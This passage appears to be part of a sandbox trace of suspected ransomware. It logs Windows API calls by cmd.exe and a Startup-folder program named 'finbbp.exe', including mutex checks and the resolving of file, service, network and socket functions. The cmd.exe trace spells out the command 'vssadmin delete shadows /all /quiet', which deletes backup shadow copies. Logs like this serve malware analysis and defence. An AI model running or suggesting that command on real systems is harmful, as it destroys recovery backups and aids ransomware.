nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xbef98ff4b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesWritten=0xbef98ff4b8*=0x2, lpOverlapped=0x0) returned 1 [0261.180] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7524bbb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0261.180] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2743bb70080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0261.180] _vsnwprintf (in: _Buffer=0x2743bb80060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xbef98ff4f8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0261.180] _vsnwprintf (in: _Buffer=0x2743bb80086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xbef98ff4f8 | out: _Buffer=">") returned 1 [0261.180] _get_osfhandle (_FileHandle=1) returned 0x254 [0261.180] GetFileType (hFile=0x254) returned 0x3 [0261.180] _get_osfhandle (_FileHandle=1) returned 0x254 [0261.180] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0261.180] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7524b9970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xbef98ff4e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesWritten=0xbef98ff4e8*=0x14, lpOverlapped=0x0) returned 1 [0261.181] _get_osfhandle (_FileHandle=0) returned 0x248 [0261.181] GetFileType (hFile=0x248) returned 0x3 [0261.181] _get_osfhandle (_FileHandle=0) returned 0x248 [0261.181] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0261.181] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0261.181] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c30, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1 [0261.181] _get_osfhandle (_FileHandle=0) returned 0x248 [0261.181] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0261.181] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0261.181] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c32, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1 [0261.182] _get_osfhandle (_FileHandle=0) returned 0x248 [0261.182] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0261.182] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0261.182] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c34, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0261.182] _get_osfhandle (_FileHandle=0) returned 0x248 [0261.182] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0261.182] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0261.182] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c36, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1 [0261.182] _get_osfhandle (_FileHandle=0) returned 0x248 [0261.182] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0261.182] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0261.182] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c38, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1 [0261.182] _get_osfhandle (_FileHandle=0) returned 0x248 [0261.182] GetFileType (hFile=0x248) returned 0x3 [0261.183] _get_osfhandle (_FileHandle=0) returned 0x248 [0261.183] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0261.183] _get_osfhandle (_FileHandle=1) returned 0x254 [0261.183] GetFileType (hFile=0x254) returned 0x3 [0261.183] _get_osfhandle (_FileHandle=1) returned 0x254 [0261.183] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6 [0261.183] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7524b9970*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0xbef98ff7e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesWritten=0xbef98ff7e8*=0x5, lpOverlapped=0x0) returned 1 [0261.183] GetProcessHeap () returned 0x2743ba20000 [0261.183] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x4012) returned 0x2743ba28e90 [0261.183] GetProcessHeap () returned 0x2743ba20000 [0261.183] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba28e90) returned 1 [0261.485] _wcsicmp (_String1="Exit", _String2=")") returned 60 [0261.485] _wcsicmp (_String1="FOR", _String2="Exit") returned 1 [0261.485] _wcsicmp (_String1="FOR/?", _String2="Exit") returned 1 [0261.485] _wcsicmp (_String1="IF", _String2="Exit") returned 4 [0261.485] _wcsicmp (_String1="IF/?", _String2="Exit") returned 4 [0261.485] _wcsicmp (_String1="REM", _String2="Exit") returned 13 [0261.485] _wcsicmp (_String1="REM/?", _String2="Exit") returned 13 [0261.486] GetProcessHeap () returned 0x2743ba20000 [0261.486] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0xb0) returned 0x2743ba27340 [0261.486] GetProcessHeap () returned 0x2743ba20000 [0261.486] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x1a) returned 0x2743ba26490 [0261.486] GetConsoleOutputCP () returned 0x4e3 [0261.964] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff7524bfbb0 | out: lpCPInfo=0x7ff7524bfbb0) returned 1 [0261.964] SetThreadUILanguage (LangId=0x0) returned 0x409 [0262.260] GetConsoleTitleW (in: lpConsoleTitle=0xbef98ff630, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0262.279] malloc (_Size=0xffce) returned 0x2743bb90840 [0262.279] ??_V@YAXPEAX@Z () returned 0x2743bb90840 [0262.280] malloc (_Size=0xffce) returned 0x2743bba0820 [0262.280] ??_V@YAXPEAX@Z () returned 0x2743bba0820 [0262.280] _wcsicmp (_String1="Exit", _String2="DIR") returned 1 [0262.280] _wcsicmp (_String1="Exit", _String2="ERASE") returned 6 [0262.280] _wcsicmp (_String1="Exit", _String2="DEL") returned 1 [0262.280] _wcsicmp (_String1="Exit", _String2="TYPE") returned -15 [0262.280] _wcsicmp (_String1="Exit", _String2="COPY") returned 2 [0262.280] _wcsicmp (_String1="Exit", _String2="CD") returned 2 [0262.280] _wcsicmp (_String1="Exit", _String2="CHDIR") returned 2 [0262.280] _wcsicmp (_String1="Exit", _String2="RENAME") returned -13 [0262.280] _wcsicmp (_String1="Exit", _String2="REN") returned -13 [0262.280] _wcsicmp (_String1="Exit", _String2="ECHO") returned 21 [0262.280] _wcsicmp (_String1="Exit", _String2="SET") returned -14 [0262.280] _wcsicmp (_String1="Exit", _String2="PAUSE") returned -11 [0262.281] _wcsicmp (_String1="Exit", _String2="DATE") returned 1 [0262.281] _wcsicmp (_String1="Exit", _String2="TIME") returned -15 [0262.281] _wcsicmp (_String1="Exit", _String2="PROMPT") returned -11 [0262.281] _wcsicmp (_String1="Exit", _String2="MD") returned -8 [0262.281] _wcsicmp (_String1="Exit", _String2="MKDIR") returned -8 [0262.281] _wcsicmp (_String1="Exit", _String2="RD") returned -13 [0262.281] _wcsicmp (_String1="Exit", _String2="RMDIR") returned -13 [0262.281] _wcsicmp (_String1="Exit", _String2="PATH") returned -11 [0262.281] _wcsicmp (_String1="Exit", _String2="GOTO") returned -2 [0262.281] _wcsicmp (_String1="Exit", _String2="SHIFT") returned -14 [0262.281] _wcsicmp (_String1="Exit", _String2="CLS") returned 2 [0262.281] _wcsicmp (_String1="Exit", _String2="CALL") returned 2 [0262.281] _wcsicmp (_String1="Exit", _String2="VERIFY") returned -17 [0262.281] _wcsicmp (_String1="Exit", _String2="VER") returned -17 [0262.281] _wcsicmp (_String1="Exit", _String2="VOL") returned -17 [0262.281] _wcsicmp (_String1="Exit", _String2="EXIT") returned 0 [0262.281] ??_V@YAXPEAX@Z () returned 0x1 [0262.281] GetProcessHeap () returned 0x2743ba20000 [0262.281] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x14) returned 0x2743ba264c0 [0262.281] GetProcessHeap () returned 0x2743ba20000 [0262.281] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x1a) returned 0x2743ba275e0 [0262.282] GetProcessHeap () returned 0x2743ba20000 [0262.282] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x21c) returned 0x2743ba277c0 [0262.282] GetConsoleTitleW (in: lpConsoleTitle=0x2743ba277d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0262.317] GetProcessHeap () returned 0x2743ba20000 [0262.317] RtlReAllocateHeap (Heap=0x2743ba20000, Flags=0x0, Ptr=0x2743ba277c0, Size=0x64) returned 0x2743ba277c0 [0262.317] GetProcessHeap () returned 0x2743ba20000 [0262.317] RtlSizeHeap (HeapHandle=0x2743ba20000, Flags=0x0, MemoryPointer=0x2743ba277c0) returned 0x64 [0262.318] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - Exit") returned 1 [0262.662] GetProcessHeap () returned 0x2743ba20000 [0262.662] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba277c0) returned 1 [0262.663] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0262.732] exit (_Code=2) Thread: id = 55 os_tid = 0xe30 Process: id = "7" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x39705000" os_pid = "0xde0" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xdb0" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011e1f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 42 os_tid = 0xde4 Thread: id = 44 os_tid = 0xdec Thread: id = 45 os_tid = 0xdf4 Thread: id = 53 os_tid = 0xe28 Thread: id = 54 os_tid = 0xe2c Process: id = "8" image_name = "finbbp.exe" filename = "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\finbbp.exe" page_root = "0x4a2b3000" os_pid = "0xdfc" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x978" cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011e1f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 46 os_tid = 0xe00 [0219.355] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76dc0000 [0219.355] GetProcAddress (hModule=0x76dc0000, lpProcName="GetProcAddress") returned 0x76dd51b0 [0219.355] GetProcAddress (hModule=0x76dc0000, lpProcName="GetModuleHandleW") returned 0x76dd50d0 [0219.355] GetProcAddress (hModule=0x76dc0000, lpProcName="FindNextFileW") returned 0x76e2ee40 [0219.355] GetProcAddress (hModule=0x76dc0000, lpProcName="FindClose") returned 0x76e2ed70 [0219.355] GetProcAddress (hModule=0x76dc0000, lpProcName="MoveFileW") returned 0x76e0e500 [0219.355] GetProcAddress (hModule=0x76dc0000, lpProcName="GetFileSizeEx") returned 0x76e2ef40 [0219.356] GetProcAddress (hModule=0x76dc0000, lpProcName="GetModuleFileNameW") returned 0x76dd5090 [0219.356] GetProcAddress (hModule=0x76dc0000, lpProcName="GetFileAttributesW") returned 0x76e2ef10 [0219.356] GetProcAddress (hModule=0x76dc0000, lpProcName="ExitProcess") returned 0x76dd3cb0 [0219.356] GetProcAddress (hModule=0x76dc0000, lpProcName="GetCommandLineW") returned 0x76dd4cc0 [0219.356] GetProcAddress (hModule=0x76dc0000, lpProcName="GetComputerNameW") returned 0x76e032c0 [0219.356] GetProcAddress (hModule=0x76dc0000, lpProcName="GetComputerNameA") returned 0x76e03780 [0219.356] GetProcAddress (hModule=0x76dc0000, lpProcName="CreateMutexW") returned 0x76e2eb70 [0219.356] GetProcAddress (hModule=0x76dc0000, lpProcName="lstrlenW") returned 0x76dd6c70 [0219.356] GetProcAddress (hModule=0x76dc0000, lpProcName="lstrlenA") returned 0x76dd6c50 [0219.356] GetProcAddress (hModule=0x76dc0000, lpProcName="GetCurrentProcess") returned 0x76e2ea10 [0219.356] GetProcAddress (hModule=0x76dc0000, lpProcName="WaitForSingleObject") returned 0x76e2eca0 [0219.356] GetProcAddress (hModule=0x76dc0000, lpProcName="GetLogicalDrives") returned 0x76dd0d20 [0219.356] GetProcAddress (hModule=0x76dc0000, lpProcName="GetTickCount") returned 0x76e2dd50 [0219.356] GetProcAddress (hModule=0x76dc0000, lpProcName="DeleteFileW") returned 0x76e2ed40 [0219.357] GetProcAddress (hModule=0x76dc0000, lpProcName="WideCharToMultiByte") returned 0x76dd6b10 [0219.357] GetProcAddress (hModule=0x76dc0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e2ebb0 [0219.357] GetProcAddress (hModule=0x76dc0000, lpProcName="Sleep") returned 0x76dd6760 [0219.357] GetProcAddress (hModule=0x76dc0000, lpProcName="LeaveCriticalSection") returned 0x76edb250 [0219.357] GetProcAddress (hModule=0x76dc0000, lpProcName="ReadFile") returned 0x76e2f090 [0219.357] GetProcAddress (hModule=0x76dc0000, lpProcName="CreateFileW") returned 0x76e2ed10 [0219.357] GetProcAddress (hModule=0x76dc0000, lpProcName="OpenMutexW") returned 0x76e2ebf0 [0219.357] GetProcAddress (hModule=0x76dc0000, lpProcName="EnterCriticalSection") returned 0x76edb2d0 [0219.357] GetProcAddress (hModule=0x76dc0000, lpProcName="WaitForMultipleObjects") returned 0x76e2ec80 [0219.357] GetProcAddress (hModule=0x76dc0000, lpProcName="lstrcmpiW") returned 0x76dd6bf0 [0219.357] GetProcAddress (hModule=0x76dc0000, lpProcName="lstrcmpiA") returned 0x76dd6bd0 [0219.357] GetProcAddress (hModule=0x76dc0000, lpProcName="DeleteCriticalSection") returned 0x76ebfb90 [0219.358] GetProcAddress (hModule=0x76dc0000, lpProcName="ReleaseMutex") returned 0x76e2ec20 [0219.358] GetProcAddress (hModule=0x76dc0000, lpProcName="CloseHandle") returned 0x76e2eab0 [0219.358] GetProcAddress (hModule=0x76dc0000, lpProcName="GetVersion") returned 0x76dd56c0 [0219.358] GetProcAddress (hModule=0x76dc0000, lpProcName="CreateThread") returned 0x76dd46b0 [0219.358] GetProcAddress (hModule=0x76dc0000, lpProcName="ExpandEnvironmentStringsW") returned 0x76dd4a40 [0219.358] GetProcAddress (hModule=0x76dc0000, lpProcName="QueryPerformanceCounter") returned 0x76dd5da0 [0219.358] GetProcAddress (hModule=0x76dc0000, lpProcName="QueryPerformanceFrequency") returned 0x76dd5dc0 [0219.358] GetProcAddress (hModule=0x76dc0000, lpProcName="GetCurrentProcessId") returned 0x76e2ea20 [0219.358] GetProcAddress (hModule=0x76dc0000, lpProcName="SetFileAttributesW") returned 0x76e2f100 [0219.358] GetProcAddress (hModule=0x76dc0000, lpProcName="GetVolumeInformationW") returned 0x76e2f020 [0219.358] GetProcAddress (hModule=0x76dc0000, lpProcName="WriteFile") returned 0x76e2f180 [0219.358] GetProcAddress (hModule=0x76dc0000, lpProcName="SetFilePointerEx") returned 0x76e2f130 [0219.358] GetProcAddress (hModule=0x76dc0000, lpProcName="SetEndOfFile") returned 0x76e2f0e0 [0219.359] GetProcAddress (hModule=0x76dc0000, lpProcName="FindFirstFileW") returned 0x76e2edf0 [0219.359] GetProcAddress (hModule=0x76dc0000, lpProcName="GetProcessHeap") returned 0x76dd51f0 [0219.359] GetProcAddress (hModule=0x76dc0000, lpProcName="HeapReAlloc") returned 0x76ecf630 [0219.359] GetProcAddress (hModule=0x76dc0000, lpProcName="HeapAlloc") returned 0x76ed2dc0 [0219.359] GetProcAddress (hModule=0x76dc0000, lpProcName="HeapFree") returned 0x76dd57f0 [0219.359] GetProcAddress (hModule=0x76dc0000, lpProcName="CreatePipe") returned 0x76dd4590 [0219.359] GetProcAddress (hModule=0x76dc0000, lpProcName="SetHandleInformation") returned 0x76e2eae0 [0219.359] GetProcAddress (hModule=0x76dc0000, lpProcName="CreateProcessW") returned 0x76dd4610 [0219.359] GetProcAddress (hModule=0x76dc0000, lpProcName="CompareStringW") returned 0x76dd4430 [0219.359] GetProcAddress (hModule=0x76dc0000, lpProcName="CompareStringA") returned 0x76dd4410 [0219.359] GetProcAddress (hModule=0x76dc0000, lpProcName="OpenProcess") returned 0x76dd5cc0 [0219.359] GetProcAddress (hModule=0x76dc0000, lpProcName="TerminateProcess") returned 0x76dd67e0 [0219.359] GetProcAddress (hModule=0x76dc0000, lpProcName="GetSystemTime") returned 0x76dd54e0 [0219.359] GetProcAddress (hModule=0x76dc0000, lpProcName="SystemTimeToFileTime") returned 0x76dd67a0 [0219.360] GetProcAddress (hModule=0x76dc0000, lpProcName="GetLastError") returned 0x76dd5010 [0219.360] GetProcAddress (hModule=0x76dc0000, lpProcName="CreateToolhelp32Snapshot") returned 0x76e0edc0 [0219.360] GetProcAddress (hModule=0x76dc0000, lpProcName="Process32NextW") returned 0x76e0f8f0 [0219.360] GetProcAddress (hModule=0x76dc0000, lpProcName="Process32FirstW") returned 0x76e0f750 [0219.360] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74720000 [0219.425] GetProcAddress (hModule=0x74720000, lpProcName="RegOpenKeyExW") returned 0x7473e580 [0219.425] GetProcAddress (hModule=0x74720000, lpProcName="RegQueryValueExW") returned 0x7473e5a0 [0219.425] GetProcAddress (hModule=0x74720000, lpProcName="RegSetValueExW") returned 0x7473f530 [0219.425] GetProcAddress (hModule=0x74720000, lpProcName="RegCloseKey") returned 0x7473ed60 [0219.426] GetProcAddress (hModule=0x74720000, lpProcName="OpenProcessToken") returned 0x7473efb0 [0219.426] GetProcAddress (hModule=0x74720000, lpProcName="GetTokenInformation") returned 0x7473ee90 [0219.426] GetProcAddress (hModule=0x74720000, lpProcName="OpenSCManagerW") returned 0x74740540 [0219.426] GetProcAddress (hModule=0x74720000, lpProcName="OpenServiceW") returned 0x7473fa20 [0219.426] GetProcAddress (hModule=0x74720000, lpProcName="CloseServiceHandle") returned 0x7473fc00 [0219.426] GetProcAddress (hModule=0x74720000, lpProcName="ControlService") returned 0x747526d0 [0219.426] GetProcAddress (hModule=0x74720000, lpProcName="QueryServiceStatus") returned 0x74742380 [0219.426] GetProcAddress (hModule=0x74720000, lpProcName="EnumDependentServicesW") returned 0x74752f70 [0219.426] GetProcAddress (hModule=0x74720000, lpProcName="EnumServicesStatusExW") returned 0x7473fc80 [0219.426] LoadLibraryA (lpLibFileName="user32.dll") returned 0x745e0000 [0219.518] GetProcAddress (hModule=0x745e0000, lpProcName="SystemParametersInfoW") returned 0x7460f210 [0219.518] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75a10000 [0219.596] GetProcAddress (hModule=0x75a10000, lpProcName="ShellExecuteExW") returned 0x75b74730 [0219.596] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x76e90000 [0219.596] GetProcAddress (hModule=0x76e90000, lpProcName="NtQuerySystemInformation") returned 0x76f02070 [0219.596] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73890000 [0219.600] GetProcAddress (hModule=0x73890000, lpProcName="WNetCloseEnum") returned 0x73892640 [0219.600] GetProcAddress (hModule=0x73890000, lpProcName="WNetOpenEnumW") returned 0x73892790 [0219.600] GetProcAddress (hModule=0x73890000, lpProcName="WNetEnumResourceW") returned 0x73892410 [0219.600] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x73ed0000 [0219.603] GetProcAddress (hModule=0x73ed0000, lpProcName="WSAStartup") returned 0x73ed5b40 [0219.604] GetProcAddress (hModule=0x73ed0000, lpProcName="socket") returned 0x73ee4510 [0219.604] GetProcAddress (hModule=0x73ed0000, lpProcName="send") returned 0x73ed5030 [0219.604] GetProcAddress (hModule=0x73ed0000, lpProcName="recv") returned 0x73ee0c50 [0219.604] GetProcAddress (hModule=0x73ed0000, lpProcName="connect") returned 0x73ed5410 [0219.604] GetProcAddress (hModule=0x73ed0000, lpProcName="closesocket") returned 0x73ee0910 [0219.604] GetProcAddress (hModule=0x73ed0000, lpProcName="gethostbyname") returned 0x73f06cb0 [0219.604] GetProcAddress (hModule=0x73ed0000, lpProcName="inet_addr") returned 0x73ee9160 [0219.604] GetProcAddress (hModule=0x73ed0000, lpProcName="ntohl") returned 0x73ed49d0 [0219.605] GetProcAddress (hModule=0x73ed0000, lpProcName="htonl") returned 0x73ed49d0 [0219.605] GetProcAddress (hModule=0x73ed0000, lpProcName="htons") returned 0x73ee8ff0 [0219.605] GetProcessHeap () returned 0x660000 [0222.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x66b1b0 [0222.523] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=9216337782) returned 1 [0222.523] GetTickCount () returned 0x114105d [0222.523] GetCurrentProcessId () returned 0xdfc [0222.527] GetTickCount () returned 0x114105d [0222.527] GetTickCount () returned 0x114105d [0222.527] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x66b110 [0222.527] GetVersion () returned 0x23f00206 [0222.527] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7) returned 0x676ef0 [0222.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x678010 [0222.528] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x678010, Size=0x20) returned 0x66b138 [0222.528] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x66b138, Size=0x40) returned 0x677880 [0222.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x67d468 [0222.528] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_1C8IV8A") returned 0x1ec [0222.528] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x676ef0 | out: hHeap=0x660000) returned 1 [0222.528] lstrlenW (lpString="Global\\syncronize_") returned 18 [0222.528] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x677880 | out: hHeap=0x660000) returned 1 [0222.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7) returned 0x676f60 [0222.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x678070 [0222.528] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x678070, Size=0x20) returned 0x66b138 [0222.528] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x66b138, Size=0x40) returned 0x6775b0 [0222.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x68d470 [0222.529] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_1C8IV8U") returned 0x1f0 [0222.529] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x676f60 | out: hHeap=0x660000) returned 1 [0222.529] lstrlenW (lpString="Global\\syncronize_") returned 18 [0222.529] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6775b0 | out: hHeap=0x660000) returned 1 [0222.529] GetVersion () returned 0x23f00206 [0222.529] GetCurrentProcess () returned 0xffffffff [0222.529] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0222.529] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0222.529] CloseHandle (hObject=0x1f4) returned 1 [0222.529] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0222.530] ExitProcess (uExitCode=0x0) Thread: id = 47 os_tid = 0xe04 Process: id = "9" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x401f6000" os_pid = "0xe40" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xdb0" cmd_line = "mode con cp select=1251" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011e1f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 58 os_tid = 0xe44 Thread: id = 59 os_tid = 0xe48 Thread: id = 60 os_tid = 0xe4c Process: id = "10" image_name = "svchost.exe" filename = 